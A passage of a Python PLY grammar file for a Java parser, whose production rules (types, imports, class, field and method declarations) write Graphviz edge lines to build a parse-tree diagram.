p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_PrimitiveType(p):\n '''PrimitiveType : MultAnnotation NumericType\n | MultAnnotation BOOLEAN\n | NumericType\n | BOOLEAN '''\n\n global PrimitiveType_counter\n p[0] = \"PrimitiveType_{%d}\" % (PrimitiveType_counter)\n PrimitiveType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_NumericType(p):\n '''NumericType : IntegralType\n | FloatingPointType'''\n\n global NumericType_counter\n p[0] = \"NumericType_{%d}\" % (NumericType_counter)\n NumericType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_IntegralType(p):\n '''IntegralType : BYTE\n | SHORT\n | INT\n | LONG\n | CHAR'''\n\n global IntegralType_counter\n p[0] = \"IntegralType_{%d}\" % (IntegralType_counter)\n IntegralType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_FloatingPointType(p):\n '''FloatingPointType : FLOAT\n | DOUBLE'''\n\n global FloatingPointType_counter\n p[0] = \"FloatingPointType_{%d}\" % (FloatingPointType_counter)\n FloatingPointType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ReferenceType(p):\n '''ReferenceType : ClassOrInterfaceType\n | ArrayType'''\n\n global ReferenceType_counter\n p[0] = \"ReferenceType_{%d}\" % (ReferenceType_counter)\n ReferenceType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ClassOrInterfaceType(p):\n '''ClassOrInterfaceType : ClassType'''\n\n global ClassOrInterfaceType_counter\n p[0] = \"ClassOrInterfaceType_{%d}\" % (ClassOrInterfaceType_counter)\n ClassOrInterfaceType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ClassType(p):\n '''ClassType : ClassOrInterfaceType DOT MultAnnotation Identifier TypeArguments\n | ClassOrInterfaceType DOT MultAnnotation Identifier\n | ClassOrInterfaceType DOT Identifier TypeArguments\n | ClassOrInterfaceType DOT Identifier\n | Identifier DOT MultAnnotation Identifier TypeArguments\n | Identifier DOT MultAnnotation Identifier\n | Identifier DOT Identifier TypeArguments\n | TypeName\n | MultAnnotation Identifier TypeArguments\n | MultAnnotation Identifier\n | Identifier TypeArguments\n '''\n\n global ClassType_counter\n p[0] = \"ClassType_{%d}\" % (ClassType_counter)\n ClassType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MultAnnotation(p):\n '''MultAnnotation : Annotation MultAnnotation\n | Annotation'''\n\n global MultAnnotation_counter\n p[0] = \"MultAnnotation_{%d}\" % (MultAnnotation_counter)\n MultAnnotation_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ArrayType(p):\n '''ArrayType : PrimitiveType Dims\n | ClassOrInterfaceType Dims'''\n\n global ArrayType_counter\n p[0] = \"ArrayType_{%d}\" % (ArrayType_counter)\n ArrayType_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_Dims(p):\n '''Dims : MultAnnotation LBRACKETS RBRACKETS Dims\n | MultAnnotation LBRACKETS RBRACKETS\n | LBRACKETS RBRACKETS Dims\n | LBRACKETS RBRACKETS'''\n\n global Dims_counter\n p[0] = \"Dims_{%d}\" % (Dims_counter)\n Dims_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_TypeParameter(p):\n '''TypeParameter : MultAnnotation Identifier TypeBound\n | MultAnnotation Identifier\n | Identifier TypeBound\n '''\n\n global TypeParameter_counter\n p[0] = \"TypeParameter_{%d}\" % (TypeParameter_counter)\n TypeParameter_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_TypeBound(p):\n '''TypeBound : EXTENDS ClassOrInterfaceType MultAdditionalBound\n | EXTENDS ClassOrInterfaceType\n | EXTENDS Identifier MultAdditionalBound\n | EXTENDS Identifier\n '''\n\n\n global TypeBound_counter\n p[0] = \"TypeBound_{%d}\" % (TypeBound_counter)\n TypeBound_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MultAdditionalBound(p):\n ''' MultAdditionalBound : MultAdditionalBound AdditionalBound\n | AdditionalBound '''\n\n global MultAdditionalBound_counter\n p[0] = \"MultAdditionalBound_{%d}\" % (MultAdditionalBound_counter)\n MultAdditionalBound_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_AdditionalBound(p):\n '''AdditionalBound : BOOLEANAND ClassType'''\n\n global AdditionalBound_counter\n p[0] = \"AdditionalBound_{%d}\" % (AdditionalBound_counter)\n AdditionalBound_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_TypeArguments(p):\n '''TypeArguments : TYPE_ARG_BEGIN TypeArgumentList GREATERTHAN\n | TYPE_ARG_BEGIN CommaSeparatedIdentifiers GREATERTHAN\n | TYPE_ARG_BEGIN Identifier GREATERTHAN\n | TYPE_ARG_BEGIN GREATERTHAN'''\n\n global TypeArguments_counter\n p[0] = \"TypeArguments_{%d}\" % (TypeArguments_counter)\n TypeArguments_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_TypeArgumentList(p):\n '''TypeArgumentList : TypeArgument COMMA TypeArgumentList\n | TypeArgument'''\n\n global TypeArgumentList_counter\n p[0] = \"TypeArgumentList_{%d}\" % (TypeArgumentList_counter)\n TypeArgumentList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_TypeArgument(p):\n '''TypeArgument : ReferenceType\n | Wildcard'''\n\n global TypeArgument_counter\n p[0] = \"TypeArgument_{%d}\" % (TypeArgument_counter)\n TypeArgument_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_Wildcard(p):\n '''Wildcard : MultAnnotation QUESTIONMARK WildcardBounds\n | MultAnnotation QUESTIONMARK\n | QUESTIONMARK WildcardBounds\n | QUESTIONMARK'''\n\n global Wildcard_counter\n p[0] = \"Wildcard_{%d}\" % (Wildcard_counter)\n Wildcard_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_WildcardBounds(p):\n '''WildcardBounds : EXTENDS ReferenceType\n | SUPER ReferenceType'''\n\n global WildcardBounds_counter\n p[0] = \"WildcardBounds_{%d}\" % (WildcardBounds_counter)\n WildcardBounds_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n################################################################################\n\n#This just points to DotSeparatedIdentifiers ( with atleast a dot) All TypeName -> Identifier replaced by Identifier \ndef p_TypeName(p):\n '''TypeName : TypeName DOT Identifier\n | Identifier DOT Identifier'''\n\n global TypeName_counter\n p[0] = \"TypeName_{%d}\" % (TypeName_counter)\n TypeName_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n################################################################################\n\n#Removing Empty Program in Java\ndef p_CompilationUnit(p):\n '''CompilationUnit : PackageDeclaration MultImportDeclaration MultTypeDeclaration\n | PackageDeclaration MultImportDeclaration\n | PackageDeclaration MultTypeDeclaration\n | MultImportDeclaration MultTypeDeclaration\n | MultTypeDeclaration\n | PackageDeclaration\n | MultImportDeclaration\n '''\n\n global CompilationUnit_counter\n p[0] = \"CompilationUnit_{%d}\" % (CompilationUnit_counter)\n CompilationUnit_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MultImportDeclaration(p):\n '''MultImportDeclaration : ImportDeclaration MultImportDeclaration\n | ImportDeclaration'''\n\n global MultImportDeclaration_counter\n p[0] = \"MultImportDeclaration_{%d}\" % (MultImportDeclaration_counter)\n MultImportDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MultTypeDeclaration(p):\n '''MultTypeDeclaration : TypeDeclaration MultTypeDeclaration\n | TypeDeclaration'''\n\n global MultTypeDeclaration_counter\n p[0] = \"MultTypeDeclaration_{%d}\" % (MultTypeDeclaration_counter)\n MultTypeDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_PackageDeclaration(p):\n '''PackageDeclaration : MultAnnotation PACKAGE TypeName SEMICOLON\n | PACKAGE TypeName SEMICOLON\n | MultAnnotation PACKAGE Identifier SEMICOLON\n | PACKAGE Identifier SEMICOLON'''\n\n global PackageDeclaration_counter\n p[0] = \"PackageDeclaration_{%d}\" % (PackageDeclaration_counter)\n PackageDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ImportDeclaration(p):\n '''ImportDeclaration : SingleTypeImportDeclaration\n | TypeImportOnDemandDeclaration\n | SingleStaticImportDeclaration\n | StaticImportOnDemandDeclaration '''\n\n global ImportDeclaration_counter\n p[0] = \"ImportDeclaration_{%d}\" % (ImportDeclaration_counter)\n ImportDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_SingleTypeImportDeclaration(p):\n '''SingleTypeImportDeclaration : IMPORT TypeName SEMICOLON \n | IMPORT Identifier SEMICOLON '''\n\n global SingleTypeImportDeclaration_counter\n p[0] = \"SingleTypeImportDeclaration_{%d}\" % (SingleTypeImportDeclaration_counter)\n SingleTypeImportDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_TypeImportOnDemandDeclaration(p):\n '''TypeImportOnDemandDeclaration : IMPORT TypeName DOT MULTIPLY SEMICOLON\n | IMPORT Identifier DOT MULTIPLY SEMICOLON'''\n\n global TypeImportOnDemandDeclaration_counter\n p[0] = \"TypeImportOnDemandDeclaration_{%d}\" % (TypeImportOnDemandDeclaration_counter)\n TypeImportOnDemandDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_SingleStaticImportDeclaration(p):\n '''SingleStaticImportDeclaration : IMPORT STATIC TypeName DOT Identifier SEMICOLON \n | IMPORT STATIC Identifier DOT Identifier SEMICOLON '''\n\n global SingleStaticImportDeclaration_counter\n p[0] = \"SingleStaticImportDeclaration_{%d}\" % (SingleStaticImportDeclaration_counter)\n SingleStaticImportDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_StaticImportOnDemandDeclaration(p):\n '''StaticImportOnDemandDeclaration : IMPORT STATIC TypeName DOT MULTIPLY SEMICOLON\n | IMPORT STATIC Identifier DOT MULTIPLY SEMICOLON'''\n\n global StaticImportOnDemandDeclaration_counter\n p[0] = \"StaticImportOnDemandDeclaration_{%d}\" % (StaticImportOnDemandDeclaration_counter)\n StaticImportOnDemandDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_TypeDeclaration(p):\n '''TypeDeclaration : ClassDeclaration\n | InterfaceDeclaration\n | SEMICOLON'''\n\n p[0] = p[1]\n\n################################################################################\n\ndef p_ClassDeclaration(p):\n '''ClassDeclaration : NormalClassDeclaration\n | EnumDeclaration'''\n\n global ClassDeclaration_counter\n p[0] = \"ClassDeclaration_{%d}\" % (ClassDeclaration_counter)\n ClassDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_NormalClassDeclaration(p):\n '''NormalClassDeclaration : ModifierList CLASS Identifier TypeParameters Superclass Superinterfaces ClassBody\n | ModifierList CLASS Identifier TypeParameters Superclass ClassBody\n | ModifierList CLASS Identifier TypeParameters Superinterfaces ClassBody\n | ModifierList CLASS Identifier Superclass Superinterfaces ClassBody\n | ModifierList CLASS Identifier TypeParameters ClassBody\n | ModifierList CLASS Identifier Superclass ClassBody\n | ModifierList CLASS Identifier Superinterfaces ClassBody\n | ModifierList CLASS Identifier ClassBody\n | CLASS Identifier TypeParameters Superclass Superinterfaces ClassBody\n | CLASS Identifier TypeParameters Superclass ClassBody\n | CLASS Identifier TypeParameters Superinterfaces ClassBody\n | CLASS Identifier Superclass Superinterfaces ClassBody\n | CLASS Identifier TypeParameters ClassBody\n | CLASS Identifier Superclass ClassBody\n | CLASS Identifier Superinterfaces ClassBody\n | CLASS Identifier ClassBody'''\n global NormalClassDeclaration_counter\n p[0] = \"NormalClassDeclaration_{%d}\" % (NormalClassDeclaration_counter)\n NormalClassDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_TypeParameters(p):\n '''TypeParameters : TYPE_ARG_BEGIN TypeParameterList GREATERTHAN\n | TYPE_ARG_BEGIN CommaSeparatedIdentifiers GREATERTHAN\n | TYPE_ARG_BEGIN Identifier GREATERTHAN'''\n\n global TypeParameters_counter\n p[0] = \"TypeParameters_{%d}\" % (TypeParameters_counter)\n TypeParameters_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_CommaSeparatedIdentifiers(p):\n ''' CommaSeparatedIdentifiers : Identifier COMMA CommaSeparatedIdentifiers\n | Identifier COMMA Identifier'''\n\n global CommaSeparatedIdentifiers_counter\n p[0] = \"CommaSeparatedIdentifiers_{%d}\" % (CommaSeparatedIdentifiers_counter)\n CommaSeparatedIdentifiers_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n#Does not contain Identifier List\ndef p_TypeParameterList(p):\n '''TypeParameterList : TypeParameter COMMA TypeParameterList\n | TypeParameter'''\n\n global TypeParameterList_counter\n p[0] = \"TypeParameterList_{%d}\" % (TypeParameterList_counter)\n TypeParameterList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_Superclass(p):\n '''Superclass : EXTENDS ClassType\n | EXTENDS Identifier'''\n\n global Superclass_counter\n p[0] = \"Superclass_{%d}\" % (Superclass_counter)\n Superclass_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_Superinterfaces(p):\n '''Superinterfaces : IMPLEMENTS InterfaceTypeList '''\n\n global Superinterfaces_counter\n p[0] = \"Superinterfaces_{%d}\" % (Superinterfaces_counter)\n Superinterfaces_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_InterfaceTypeList(p):\n '''InterfaceTypeList : ClassType COMMA InterfaceTypeList\n | ClassType\n | Identifier COMMA InterfaceTypeList\n | Identifier '''\n\n global InterfaceTypeList_counter\n p[0] = \"InterfaceTypeList_{%d}\" % (InterfaceTypeList_counter)\n InterfaceTypeList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ClassBody(p):\n '''ClassBody : LBRACES MultClassBodyDeclaration RBRACES\n | LBRACES RBRACES'''\n\n global ClassBody_counter\n p[0] = \"ClassBody_{%d}\" % (ClassBody_counter)\n ClassBody_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_MultClassBodyDeclaration(p):\n '''MultClassBodyDeclaration : ClassBodyDeclaration MultClassBodyDeclaration\n | ClassBodyDeclaration'''\n global MultClassBodyDeclaration_counter\n p[0] = \"MultClassBodyDeclaration_{%d}\" % (MultClassBodyDeclaration_counter)\n MultClassBodyDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ClassBodyDeclaration(p):\n '''ClassBodyDeclaration : ClassMemberDeclaration\n | InstanceInitializer\n | StaticInitializer\n | ConstructorDeclaration'''\n p[0] = p[1]\n # global ClassBodyDeclaration_counter\n # p[0] = \"ClassBodyDeclaration_{%d}\" % (ClassBodyDeclaration_counter)\n # ClassBodyDeclaration_counter+=1\n # for i in range(1, len(p)):\n # if (p[i] is not None):\n # if (p[i].lower() in keywords.keys()):\n # f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n # else:\n # f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_ClassMemberDeclaration(p):\n '''ClassMemberDeclaration : FieldDeclaration\n | MethodDeclaration\n | ClassDeclaration\n | InterfaceDeclaration\n | SEMICOLON '''\n global ClassMemberDeclaration_counter\n p[0] = \"ClassMemberDeclaration_{%d}\" % (ClassMemberDeclaration_counter)\n ClassMemberDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_FieldDeclaration(p):\n '''FieldDeclaration : ModifierList Type VariableDeclaratorList SEMICOLON\n | ModifierList Type Identifier SEMICOLON\n | Type VariableDeclaratorList SEMICOLON\n | Type Identifier SEMICOLON\n | ModifierList Identifier VariableDeclaratorList SEMICOLON\n | ModifierList Identifier Identifier SEMICOLON\n | Identifier VariableDeclaratorList SEMICOLON\n | Identifier Identifier SEMICOLON'''\n global FieldDeclaration_counter\n p[0] = \"FieldDeclaration_{%d}\" % (FieldDeclaration_counter)\n FieldDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\ndef p_VariableDeclaratorList(p):\n '''VariableDeclaratorList : VariableDeclarator COMMA VariableDeclaratorList\n | VariableDeclarator COMMA Identifier\n | Identifier COMMA VariableDeclaratorList\n | Identifier COMMA Identifier\n | VariableDeclarator \n '''\n global VariableDeclaratorList_counter\n p[0] = \"VariableDeclaratorList_{%d}\" % (VariableDeclaratorList_counter)\n VariableDeclaratorList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_VariableDeclarator(p):\n '''VariableDeclarator : VariableDeclaratorId EQUAL VariableInitializer\n | VariableDeclaratorId\n | Identifier EQUAL VariableInitializer\n '''\n global VariableDeclarator_counter\n p[0] = \"VariableDeclarator_{%d}\" % (VariableDeclarator_counter)\n VariableDeclarator_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_VariableDeclaratorId(p):\n '''VariableDeclaratorId : Identifier Dims'''\n global VariableDeclaratorId_counter\n p[0] = \"VariableDeclaratorId_{%d}\" % (VariableDeclaratorId_counter)\n VariableDeclaratorId_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_VariableInitializer(p):\n '''VariableInitializer : Expression\n | ArrayInitializer '''\n global VariableInitializer_counter\n p[0] = \"VariableInitializer_{%d}\" % (VariableInitializer_counter)\n VariableInitializer_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_MethodDeclaration(p):\n '''MethodDeclaration : ModifierList MethodHeader MethodBody\n | MethodHeader MethodBody'''\n global MethodDeclaration_counter\n p[0] = \"MethodDeclaration_{%d}\" % (MethodDeclaration_counter)\n MethodDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\n#Added Result <--> Identifier to remove ClassType->Identifier (for Type->Identifier conflict)\ndef p_MethodHeader(p):\n '''MethodHeader : Type MethodDeclarator Throws\n | Type MethodDeclarator\n | TypeParameters MultAnnotation Type MethodDeclarator Throws\n | TypeParameters MultAnnotation Type MethodDeclarator\n | TypeParameters Type MethodDeclarator Throws\n | TypeParameters Type MethodDeclarator\n | VOID MethodDeclarator Throws\n | VOID MethodDeclarator\n | TypeParameters MultAnnotation VOID MethodDeclarator Throws\n | TypeParameters MultAnnotation VOID MethodDeclarator\n | TypeParameters VOID MethodDeclarator Throws\n | TypeParameters VOID MethodDeclarator\n | Identifier MethodDeclarator Throws\n | Identifier MethodDeclarator\n | TypeParameters MultAnnotation Identifier MethodDeclarator Throws\n | TypeParameters MultAnnotation Identifier MethodDeclarator\n | TypeParameters Identifier MethodDeclarator Throws\n | TypeParameters Identifier MethodDeclarator\n '''\n global MethodHeader_counter\n p[0] = \"MethodHeader_{%d}\" % (MethodHeader_counter)\n MethodHeader_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % 